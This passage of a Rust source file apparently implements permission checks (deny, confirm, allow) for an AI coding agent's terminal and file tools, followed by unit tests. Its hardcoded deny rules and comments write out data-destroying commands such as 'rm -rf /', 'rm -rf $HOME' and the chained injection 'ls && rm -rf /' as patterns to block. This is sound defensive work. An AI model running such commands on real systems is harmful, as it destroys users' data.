tool_permissions.rs

   1use crate::AgentTool;
   2use crate::tools::TerminalTool;
   3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   4use settings::ToolPermissionMode;
   5use shell_command_parser::extract_commands;
   6use std::path::{Component, Path};
   7use std::sync::LazyLock;
   8use util::shell::ShellKind;
   9
  10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  11     harmful to be allowed, and cannot be overridden by settings.";
  12
  13/// Security rules that are always enforced and cannot be overridden by any setting.
  14/// These protect against catastrophic operations like wiping filesystems.
  15pub struct HardcodedSecurityRules {
  16    pub terminal_deny: Vec<CompiledRegex>,
  17}
  18
  19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  20    // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
  21    // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
  22    const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
  23    // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
  24    const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
  25
  26    HardcodedSecurityRules {
  27        terminal_deny: vec![
  28            // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
  29            CompiledRegex::new(
  30                &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
  31                false,
  32            )
  33            .expect("hardcoded regex should compile"),
  34            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
  35            CompiledRegex::new(
  36                &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
  37                false,
  38            )
  39            .expect("hardcoded regex should compile"),
  40            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
  41            CompiledRegex::new(
  42                &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
  43                false,
  44            )
  45            .expect("hardcoded regex should compile"),
  46            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
  47            CompiledRegex::new(
  48                &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
  49                false,
  50            )
  51            .expect("hardcoded regex should compile"),
  52            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
  53            CompiledRegex::new(
  54                &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
  55                false,
  56            )
  57            .expect("hardcoded regex should compile"),
  58        ],
  59    }
  60});
  61
  62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  63/// Returns a Deny decision if blocked, None otherwise.
  64fn check_hardcoded_security_rules(
  65    tool_name: &str,
  66    input: &str,
  67    shell_kind: ShellKind,
  68) -> Option<ToolPermissionDecision> {
  69    // Currently only terminal tool has hardcoded rules
  70    if tool_name != TerminalTool::NAME {
  71        return None;
  72    }
  73
  74    let rules = &*HARDCODED_SECURITY_RULES;
  75    let terminal_patterns = &rules.terminal_deny;
  76
  77    // First: check the original input as-is (and its path-normalized form)
  78    if matches_hardcoded_patterns(input, terminal_patterns) {
  79        return Some(ToolPermissionDecision::Deny(
  80            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  81        ));
  82    }
  83
  84    // Second: parse and check individual sub-commands (for chained commands)
  85    if shell_kind.supports_posix_chaining() {
  86        if let Some(commands) = extract_commands(input) {
  87            for command in &commands {
  88                if matches_hardcoded_patterns(command, terminal_patterns) {
  89                    return Some(ToolPermissionDecision::Deny(
  90                        HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  91                    ));
  92                }
  93            }
  94        }
  95    }
  96
  97    None
  98}
  99
 100/// Checks a single command against hardcoded patterns, both as-is and with
 101/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
 102/// and multi-path bypasses like `rm -rf /tmp /`).
 103fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
 104    for pattern in patterns {
 105        if pattern.is_match(command) {
 106            return true;
 107        }
 108    }
 109
 110    for expanded in expand_rm_to_single_path_commands(command) {
 111        for pattern in patterns {
 112            if pattern.is_match(&expanded) {
 113                return true;
 114            }
 115        }
 116    }
 117
 118    false
 119}
 120
 121/// For rm commands, expands multi-path arguments into individual single-path
 122/// commands with normalized paths. This catches both traversal bypasses like
 123/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
 124fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
 125    let trimmed = command.trim();
 126
 127    let first_token = trimmed.split_whitespace().next();
 128    if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
 129        return vec![];
 130    }
 131
 132    let parts: Vec<&str> = trimmed.split_whitespace().collect();
 133    let mut flags = Vec::new();
 134    let mut paths = Vec::new();
 135    let mut past_double_dash = false;
 136
 137    for part in parts.iter().skip(1) {
 138        if !past_double_dash && *part == "--" {
 139            past_double_dash = true;
 140            flags.push(*part);
 141            continue;
 142        }
 143        if !past_double_dash && part.starts_with('-') {
 144            flags.push(*part);
 145        } else {
 146            paths.push(*part);
 147        }
 148    }
 149
 150    let flags_str = if flags.is_empty() {
 151        String::new()
 152    } else {
 153        format!("{} ", flags.join(" "))
 154    };
 155
 156    let mut results = Vec::new();
 157    for path in &paths {
 158        if path.starts_with('$') {
 159            let home_prefix = if path.starts_with("${HOME}") {
 160                Some("${HOME}")
 161            } else if path.starts_with("$HOME") {
 162                Some("$HOME")
 163            } else {
 164                None
 165            };
 166
 167            if let Some(prefix) = home_prefix {
 168                let suffix = &path[prefix.len()..];
 169                if suffix.is_empty() {
 170                    results.push(format!("rm {flags_str}{path}"));
 171                } else if suffix.starts_with('/') {
 172                    let normalized_suffix = normalize_path(suffix);
 173                    let reconstructed = if normalized_suffix == "/" {
 174                        prefix.to_string()
 175                    } else {
 176                        format!("{prefix}{normalized_suffix}")
 177                    };
 178                    results.push(format!("rm {flags_str}{reconstructed}"));
 179                } else {
 180                    results.push(format!("rm {flags_str}{path}"));
 181                }
 182            } else {
 183                results.push(format!("rm {flags_str}{path}"));
 184            }
 185            continue;
 186        }
 187
 188        let mut normalized = normalize_path(path);
 189        if normalized.is_empty() && !Path::new(path).has_root() {
 190            normalized = ".".to_string();
 191        }
 192
 193        results.push(format!("rm {flags_str}{normalized}"));
 194    }
 195
 196    results
 197}
 198
 199#[derive(Debug, Clone, PartialEq, Eq)]
 200pub enum ToolPermissionDecision {
 201    Allow,
 202    Deny(String),
 203    Confirm,
 204}
 205
 206impl ToolPermissionDecision {
 207    /// Determines the permission decision for a tool invocation based on configured rules.
 208    ///
 209    /// # Precedence Order (highest to lowest)
 210    ///
 211    /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
 212    ///    that cannot be bypassed by any user settings, including `always_allow_tool_actions`.
 213    /// 2. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
 214    ///    prompting. This global setting bypasses user-configured deny/confirm/allow patterns,
 215    ///    but does **not** bypass hardcoded security rules.
 216    /// 3. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
 217    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
 218    /// 4. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
 219    ///    the user is prompted for confirmation.
 220    /// 5. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
 221    ///    the tool call proceeds without prompting.
 222    /// 6. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
 223    ///
 224    /// # Shell Compatibility (Terminal Tool Only)
 225    ///
 226    /// For the terminal tool, commands are parsed to extract sub-commands for security.
 227    /// All currently supported `ShellKind` variants are treated as compatible because
 228    /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
 229    /// variant is added that brush-parser cannot safely parse, it should be excluded
 230    /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
 231    /// patterns to be disabled for that shell.
 232    ///
 233    /// # Pattern Matching Tips
 234    ///
 235    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 236    /// string for the terminal tool). Some tips for writing effective patterns:
 237    ///
 238    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 239    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 240    ///   This is important for security rules where you want to block specific commands
 241    ///   without accidentally blocking unrelated commands that happen to contain the same
 242    ///   substring.
 243    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 244    /// - Use `^` and `$` anchors to match the start/end of the input.
 245    pub fn from_input(
 246        tool_name: &str,
 247        input: &str,
 248        permissions: &ToolPermissions,
 249        always_allow_tool_actions: bool,
 250        shell_kind: ShellKind,
 251    ) -> ToolPermissionDecision {
 252        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 253        // These cannot be bypassed by any user settings.
 254        if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
 255            return denial;
 256        }
 257
 258        // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
 259        // Note: This no longer bypasses hardcoded security rules (checked above).
 260        if always_allow_tool_actions {
 261            return ToolPermissionDecision::Allow;
 262        }
 263
 264        let rules = match permissions.tools.get(tool_name) {
 265            Some(rules) => rules,
 266            None => {
 267                return ToolPermissionDecision::Confirm;
 268            }
 269        };
 270
 271        // Check for invalid regex patterns before evaluating rules.
 272        // If any patterns failed to compile, block the tool call entirely.
 273        if let Some(error) = check_invalid_patterns(tool_name, rules) {
 274            return ToolPermissionDecision::Deny(error);
 275        }
 276
 277        // For the terminal tool, parse the command to extract all sub-commands.
 278        // This prevents shell injection attacks where a user configures an allow
 279        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 280        //
 281        // If parsing fails or the shell syntax is unsupported, always_allow is
 282        // disabled for this command (we set allow_enabled to false to signal this).
 283        if tool_name == TerminalTool::NAME {
 284            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 285            // See the doc comment above for the list of compatible/incompatible shells.
 286            if !shell_kind.supports_posix_chaining() {
 287                // For shells with incompatible syntax, we can't reliably parse
 288                // the command to extract sub-commands.
 289                if !rules.always_allow.is_empty() {
 290                    // If the user has configured always_allow patterns, we must deny
 291                    // because we can't safely verify the command doesn't contain
 292                    // hidden sub-commands that bypass the allow patterns.
 293                    return ToolPermissionDecision::Deny(format!(
 294                        "The {} shell does not support \"always allow\" patterns for the terminal \
 295                         tool because Zed cannot parse its command chaining syntax. Please remove \
 296                         the always_allow patterns from your tool_permissions settings, or switch \
 297                         to a POSIX-conforming shell.",
 298                        shell_kind
 299                    ));
 300                }
 301                // No always_allow rules, so we can still check deny/confirm patterns.
 302                return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
 303            }
 304
 305            match extract_commands(input) {
 306                Some(commands) => check_commands(commands, rules, tool_name, true),
 307                None => {
 308                    // The command failed to parse, so we check to see if we should auto-deny
 309                    // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
 310                    // fall back on the default (based on the user's settings, which is Confirm
 311                    // if not specified otherwise). Ignore "always allow" when it failed to parse.
 312                    check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
 313                }
 314            }
 315        } else {
 316            check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
 317        }
 318    }
 319}
 320
 321/// Evaluates permission rules against a set of commands.
 322///
 323/// This function performs a single pass through all commands with the following logic:
 324/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 325/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 326/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 327///
 328/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 329/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 330/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 331fn check_commands(
 332    commands: impl IntoIterator<Item = String>,
 333    rules: &ToolRules,
 334    tool_name: &str,
 335    allow_enabled: bool,
 336) -> ToolPermissionDecision {
 337    // Single pass through all commands:
 338    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 339    // - CONFIRM: Track if ANY command matches a confirm pattern
 340    // - ALLOW: Track if ALL commands match at least one allow pattern
 341    let mut any_matched_confirm = false;
 342    let mut all_matched_allow = true;
 343    let mut had_any_commands = false;
 344
 345    for command in commands {
 346        had_any_commands = true;
 347
 348        // DENY: immediate return if any command matches a deny pattern
 349        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 350            return ToolPermissionDecision::Deny(format!(
 351                "Command blocked by security rule for {} tool",
 352                tool_name
 353            ));
 354        }
 355
 356        // CONFIRM: remember if any command matches a confirm pattern
 357        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 358            any_matched_confirm = true;
 359        }
 360
 361        // ALLOW: track if all commands match at least one allow pattern
 362        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 363            all_matched_allow = false;
 364        }
 365    }
 366
 367    // After processing all commands, check accumulated state
 368    if any_matched_confirm {
 369        return ToolPermissionDecision::Confirm;
 370    }
 371
 372    if allow_enabled && all_matched_allow && had_any_commands {
 373        return ToolPermissionDecision::Allow;
 374    }
 375
 376    match rules.default_mode {
 377        ToolPermissionMode::Deny => {
 378            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 379        }
 380        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 381        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 382    }
 383}
 384
 385/// Checks if the tool rules contain any invalid regex patterns.
 386/// Returns an error message if invalid patterns are found.
 387fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 388    if rules.invalid_patterns.is_empty() {
 389        return None;
 390    }
 391
 392    let count = rules.invalid_patterns.len();
 393    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 394
 395    Some(format!(
 396        "The {} tool cannot run because {} regex {} failed to compile. \
 397         Please fix the invalid patterns in your tool_permissions settings.",
 398        tool_name, count, pattern_word
 399    ))
 400}
 401
 402/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 403///
 404/// This is the primary entry point for tools to check permissions. It extracts
 405/// `tool_permissions` and `always_allow_tool_actions` from the settings and
 406/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 407pub fn decide_permission_from_settings(
 408    tool_name: &str,
 409    input: &str,
 410    settings: &AgentSettings,
 411) -> ToolPermissionDecision {
 412    ToolPermissionDecision::from_input(
 413        tool_name,
 414        input,
 415        &settings.tool_permissions,
 416        settings.always_allow_tool_actions,
 417        ShellKind::system(),
 418    )
 419}
 420
 421/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
 422fn normalize_path(raw: &str) -> String {
 423    let is_absolute = Path::new(raw).has_root();
 424    let mut components: Vec<&str> = Vec::new();
 425    for component in Path::new(raw).components() {
 426        match component {
 427            Component::CurDir => {}
 428            Component::ParentDir => {
 429                if components.last() == Some(&"..") {
 430                    components.push("..");
 431                } else if !components.is_empty() {
 432                    components.pop();
 433                } else if !is_absolute {
 434                    components.push("..");
 435                }
 436            }
 437            Component::Normal(segment) => {
 438                if let Some(s) = segment.to_str() {
 439                    components.push(s);
 440                }
 441            }
 442            Component::RootDir | Component::Prefix(_) => {}
 443        }
 444    }
 445    let joined = components.join("/");
 446    if is_absolute {
 447        format!("/{joined}")
 448    } else {
 449        joined
 450    }
 451}
 452
 453/// Decides permission by checking both the raw input path and a simplified/canonicalized
 454/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
 455pub fn decide_permission_for_path(
 456    tool_name: &str,
 457    raw_path: &str,
 458    settings: &AgentSettings,
 459) -> ToolPermissionDecision {
 460    let raw_decision = decide_permission_from_settings(tool_name, raw_path, settings);
 461
 462    let simplified = normalize_path(raw_path);
 463    if simplified == raw_path {
 464        return raw_decision;
 465    }
 466
 467    let simplified_decision = decide_permission_from_settings(tool_name, &simplified, settings);
 468
 469    most_restrictive(raw_decision, simplified_decision)
 470}
 471
 472fn most_restrictive(
 473    a: ToolPermissionDecision,
 474    b: ToolPermissionDecision,
 475) -> ToolPermissionDecision {
 476    match (&a, &b) {
 477        (ToolPermissionDecision::Deny(_), _) => a,
 478        (_, ToolPermissionDecision::Deny(_)) => b,
 479        (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
 480            ToolPermissionDecision::Confirm
 481        }
 482        _ => a,
 483    }
 484}
 485
 486#[cfg(test)]
 487mod tests {
 488    use super::*;
 489    use crate::AgentTool;
 490    use crate::pattern_extraction::extract_terminal_pattern;
 491    use crate::tools::{EditFileTool, TerminalTool};
 492    use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
 493    use gpui::px;
 494    use settings::{DefaultAgentView, DockPosition, DockSide, NotifyWhenAgentWaiting};
 495    use std::sync::Arc;
 496
 497    fn test_agent_settings(
 498        tool_permissions: ToolPermissions,
 499        always_allow_tool_actions: bool,
 500    ) -> AgentSettings {
 501        AgentSettings {
 502            enabled: true,
 503            button: true,
 504            dock: DockPosition::Right,
 505            agents_panel_dock: DockSide::Left,
 506            default_width: px(300.),
 507            default_height: px(600.),
 508            default_model: None,
 509            inline_assistant_model: None,
 510            inline_assistant_use_streaming_tools: false,
 511            commit_message_model: None,
 512            thread_summary_model: None,
 513            inline_alternatives: vec![],
 514            favorite_models: vec![],
 515            default_profile: AgentProfileId::default(),
 516            default_view: DefaultAgentView::Thread,
 517            profiles: Default::default(),
 518            always_allow_tool_actions,
 519            notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
 520            play_sound_when_agent_done: false,
 521            single_file_review: false,
 522            model_parameters: vec![],
 523            enable_feedback: false,
 524            expand_edit_card: true,
 525            expand_terminal_card: true,
 526            cancel_generation_on_terminal_stop: true,
 527            use_modifier_to_send: true,
 528            message_editor_min_lines: 1,
 529            tool_permissions,
 530            show_turn_stats: false,
 531        }
 532    }
 533
 534    fn pattern(command: &str) -> &'static str {
 535        Box::leak(
 536            extract_terminal_pattern(command)
 537                .expect("failed to extract pattern")
 538                .into_boxed_str(),
 539        )
 540    }
 541
 542    struct PermTest {
 543        tool: &'static str,
 544        input: &'static str,
 545        mode: ToolPermissionMode,
 546        allow: Vec<(&'static str, bool)>,
 547        deny: Vec<(&'static str, bool)>,
 548        confirm: Vec<(&'static str, bool)>,
 549        global: bool,
 550        shell: ShellKind,
 551    }
 552
 553    impl PermTest {
 554        fn new(input: &'static str) -> Self {
 555            Self {
 556                tool: TerminalTool::NAME,
 557                input,
 558                mode: ToolPermissionMode::Confirm,
 559                allow: vec![],
 560                deny: vec![],
 561                confirm: vec![],
 562                global: false,
 563                shell: ShellKind::Posix,
 564            }
 565        }
 566
 567        fn tool(mut self, t: &'static str) -> Self {
 568            self.tool = t;
 569            self
 570        }
 571        fn mode(mut self, m: ToolPermissionMode) -> Self {
 572            self.mode = m;
 573            self
 574        }
 575        fn allow(mut self, p: &[&'static str]) -> Self {
 576            self.allow = p.iter().map(|s| (*s, false)).collect();
 577            self
 578        }
 579        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 580            self.allow = p.iter().map(|s| (*s, true)).collect();
 581            self
 582        }
 583        fn deny(mut self, p: &[&'static str]) -> Self {
 584            self.deny = p.iter().map(|s| (*s, false)).collect();
 585            self
 586        }
 587        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 588            self.deny = p.iter().map(|s| (*s, true)).collect();
 589            self
 590        }
 591        fn confirm(mut self, p: &[&'static str]) -> Self {
 592            self.confirm = p.iter().map(|s| (*s, false)).collect();
 593            self
 594        }
 595        fn global(mut self, g: bool) -> Self {
 596            self.global = g;
 597            self
 598        }
 599        fn shell(mut self, s: ShellKind) -> Self {
 600            self.shell = s;
 601            self
 602        }
 603
 604        fn is_allow(self) {
 605            assert_eq!(
 606                self.run(),
 607                ToolPermissionDecision::Allow,
 608                "expected Allow for '{}'",
 609                self.input
 610            );
 611        }
 612        fn is_deny(self) {
 613            assert!(
 614                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 615                "expected Deny for '{}'",
 616                self.input
 617            );
 618        }
 619        fn is_confirm(self) {
 620            assert_eq!(
 621                self.run(),
 622                ToolPermissionDecision::Confirm,
 623                "expected Confirm for '{}'",
 624                self.input
 625            );
 626        }
 627
 628        fn run(&self) -> ToolPermissionDecision {
 629            let mut tools = collections::HashMap::default();
 630            tools.insert(
 631                Arc::from(self.tool),
 632                ToolRules {
 633                    default_mode: self.mode,
 634                    always_allow: self
 635                        .allow
 636                        .iter()
 637                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 638                        .collect(),
 639                    always_deny: self
 640                        .deny
 641                        .iter()
 642                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 643                        .collect(),
 644                    always_confirm: self
 645                        .confirm
 646                        .iter()
 647                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 648                        .collect(),
 649                    invalid_patterns: vec![],
 650                },
 651            );
 652            ToolPermissionDecision::from_input(
 653                self.tool,
 654                self.input,
 655                &ToolPermissions { tools },
 656                self.global,
 657                self.shell,
 658            )
 659        }
 660    }
 661
 662    fn t(input: &'static str) -> PermTest {
 663        PermTest::new(input)
 664    }
 665
 666    fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
 667        ToolPermissionDecision::from_input(
 668            TerminalTool::NAME,
 669            input,
 670            &ToolPermissions {
 671                tools: collections::HashMap::default(),
 672            },
 673            global,
 674            ShellKind::Posix,
 675        )
 676    }
 677
 678    // allow pattern matches
 679    #[test]
 680    fn allow_exact_match() {
 681        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 682    }
 683    #[test]
 684    fn allow_one_of_many_patterns() {
 685        t("npm install")
 686            .allow(&[pattern("cargo"), pattern("npm")])
 687            .is_allow();
 688        t("git status")
 689            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 690            .is_allow();
 691    }
 692    #[test]
 693    fn allow_middle_pattern() {
 694        t("run cargo now").allow(&["cargo"]).is_allow();
 695    }
 696    #[test]
 697    fn allow_anchor_prevents_middle() {
 698        t("run cargo now").allow(&["^cargo"]).is_confirm();
 699    }
 700
 701    // allow pattern doesn't match -> falls through
 702    #[test]
 703    fn allow_no_match_confirms() {
 704        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 705    }
 706    #[test]
 707    fn allow_no_match_global_allows() {
 708        t("python x.py")
 709            .allow(&[pattern("cargo")])
 710            .global(true)
 711            .is_allow();
 712    }
 713
 714    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 715    #[test]
 716    fn deny_blocks() {
 717        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 718    }
 719    #[test]
 720    fn global_bypasses_user_deny() {
 721        // always_allow_tool_actions bypasses user-configured deny rules
 722        t("rm -rf ./temp")
 723            .deny(&["rm\\s+-rf"])
 724            .global(true)
 725            .is_allow();
 726    }
 727    #[test]
 728    fn deny_blocks_with_mode_allow() {
 729        t("rm -rf ./temp")
 730            .deny(&["rm\\s+-rf"])
 731            .mode(ToolPermissionMode::Allow)
 732            .is_deny();
 733    }
 734    #[test]
 735    fn deny_middle_match() {
 736        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 737    }
 738    #[test]
 739    fn deny_no_match_falls_through() {
 740        t("ls -la")
 741            .deny(&["rm\\s+-rf"])
 742            .mode(ToolPermissionMode::Allow)
 743            .is_allow();
 744    }
 745
 746    // confirm pattern matches
 747    #[test]
 748    fn confirm_requires_confirm() {
 749        t("sudo apt install")
 750            .confirm(&[pattern("sudo")])
 751            .is_confirm();
 752    }
 753    #[test]
 754    fn global_overrides_confirm() {
 755        t("sudo reboot")
 756            .confirm(&[pattern("sudo")])
 757            .global(true)
 758            .is_allow();
 759    }
 760    #[test]
 761    fn confirm_overrides_mode_allow() {
 762        t("sudo x")
 763            .confirm(&["sudo"])
 764            .mode(ToolPermissionMode::Allow)
 765            .is_confirm();
 766    }
 767
 768    // confirm beats allow
 769    #[test]
 770    fn confirm_beats_allow() {
 771        t("git push --force")
 772            .allow(&[pattern("git")])
 773            .confirm(&["--force"])
 774            .is_confirm();
 775    }
 776    #[test]
 777    fn confirm_beats_allow_overlap() {
 778        t("deploy prod")
 779            .allow(&["deploy"])
 780            .confirm(&["prod"])
 781            .is_confirm();
 782    }
 783    #[test]
 784    fn allow_when_confirm_no_match() {
 785        t("git status")
 786            .allow(&[pattern("git")])
 787            .confirm(&["--force"])
 788            .is_allow();
 789    }
 790
 791    // deny beats allow
 792    #[test]
 793    fn deny_beats_allow() {
 794        t("rm -rf ./tmp/x")
 795            .allow(&["/tmp/"])
 796            .deny(&["rm\\s+-rf"])
 797            .is_deny();
 798    }
 799
 800    #[test]
 801    fn deny_beats_confirm() {
 802        t("sudo rm -rf ./temp")
 803            .confirm(&["sudo"])
 804            .deny(&["rm\\s+-rf"])
 805            .is_deny();
 806    }
 807
 808    // deny beats everything
 809    #[test]
 810    fn deny_beats_all() {
 811        t("bad cmd")
 812            .allow(&["cmd"])
 813            .confirm(&["cmd"])
 814            .deny(&["bad"])
 815            .is_deny();
 816    }
 817
 818    // no patterns -> default_mode
 819    #[test]
 820    fn default_confirm() {
 821        t("python x.py")
 822            .mode(ToolPermissionMode::Confirm)
 823            .is_confirm();
 824    }
 825    #[test]
 826    fn default_allow() {
 827        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 828    }
 829    #[test]
 830    fn default_deny() {
 831        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 832    }
 833    #[test]
 834    fn default_deny_global_true() {
 835        t("python x.py")
 836            .mode(ToolPermissionMode::Deny)
 837            .global(true)
 838            .is_allow();
 839    }
 840
 841    #[test]
 842    fn default_confirm_global_true() {
 843        t("x")
 844            .mode(ToolPermissionMode::Confirm)
 845            .global(true)
 846            .is_allow();
 847    }
 848
 849    #[test]
 850    fn no_rules_confirms_by_default() {
 851        assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
 852    }
 853
 854    #[test]
 855    fn empty_input_no_match() {
 856        t("")
 857            .deny(&["rm"])
 858            .mode(ToolPermissionMode::Allow)
 859            .is_allow();
 860    }
 861
 862    #[test]
 863    fn empty_input_with_allow_falls_to_default() {
 864        t("").allow(&["^ls"]).is_confirm();
 865    }
 866
 867    #[test]
 868    fn multi_deny_any_match() {
 869        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 870        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 871    }
 872
 873    #[test]
 874    fn multi_allow_any_match() {
 875        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 876    }
 877    #[test]
 878    fn multi_none_match() {
 879        t("python x")
 880            .allow(&["^cargo", "^npm"])
 881            .deny(&["rm"])
 882            .is_confirm();
 883    }
 884
 885    // tool isolation
 886    #[test]
 887    fn other_tool_not_affected() {
 888        let mut tools = collections::HashMap::default();
 889        tools.insert(
 890            Arc::from(TerminalTool::NAME),
 891            ToolRules {
 892                default_mode: ToolPermissionMode::Deny,
 893                always_allow: vec![],
 894                always_deny: vec![],
 895                always_confirm: vec![],
 896                invalid_patterns: vec![],
 897            },
 898        );
 899        tools.insert(
 900            Arc::from(EditFileTool::NAME),
 901            ToolRules {
 902                default_mode: ToolPermissionMode::Allow,
 903                always_allow: vec![],
 904                always_deny: vec![],
 905                always_confirm: vec![],
 906                invalid_patterns: vec![],
 907            },
 908        );
 909        let p = ToolPermissions { tools };
 910        // With always_allow_tool_actions=true, even default_mode: Deny is overridden
 911        assert_eq!(
 912            ToolPermissionDecision::from_input(TerminalTool::NAME, "x", &p, true, ShellKind::Posix),
 913            ToolPermissionDecision::Allow
 914        );
 915        // With always_allow_tool_actions=false, default_mode: Deny is respected
 916        assert!(matches!(
 917            ToolPermissionDecision::from_input(
 918                TerminalTool::NAME,
 919                "x",
 920                &p,
 921                false,
 922                ShellKind::Posix
 923            ),
 924            ToolPermissionDecision::Deny(_)
 925        ));
 926        assert_eq!(
 927            ToolPermissionDecision::from_input(
 928                EditFileTool::NAME,
 929                "x",
 930                &p,
 931                false,
 932                ShellKind::Posix
 933            ),
 934            ToolPermissionDecision::Allow
 935        );
 936    }
 937
 938    #[test]
 939    fn partial_tool_name_no_match() {
 940        let mut tools = collections::HashMap::default();
 941        tools.insert(
 942            Arc::from("term"),
 943            ToolRules {
 944                default_mode: ToolPermissionMode::Deny,
 945                always_allow: vec![],
 946                always_deny: vec![],
 947                always_confirm: vec![],
 948                invalid_patterns: vec![],
 949            },
 950        );
 951        let p = ToolPermissions { tools };
 952        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
 953        assert_eq!(
 954            ToolPermissionDecision::from_input(
 955                TerminalTool::NAME,
 956                "x",
 957                &p,
 958                false,
 959                ShellKind::Posix
 960            ),
 961            ToolPermissionDecision::Confirm
 962        );
 963    }
 964
 965    // invalid patterns block the tool (but global bypasses all checks)
 966    #[test]
 967    fn invalid_pattern_blocks() {
 968        let mut tools = collections::HashMap::default();
 969        tools.insert(
 970            Arc::from(TerminalTool::NAME),
 971            ToolRules {
 972                default_mode: ToolPermissionMode::Allow,
 973                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
 974                always_deny: vec![],
 975                always_confirm: vec![],
 976                invalid_patterns: vec![InvalidRegexPattern {
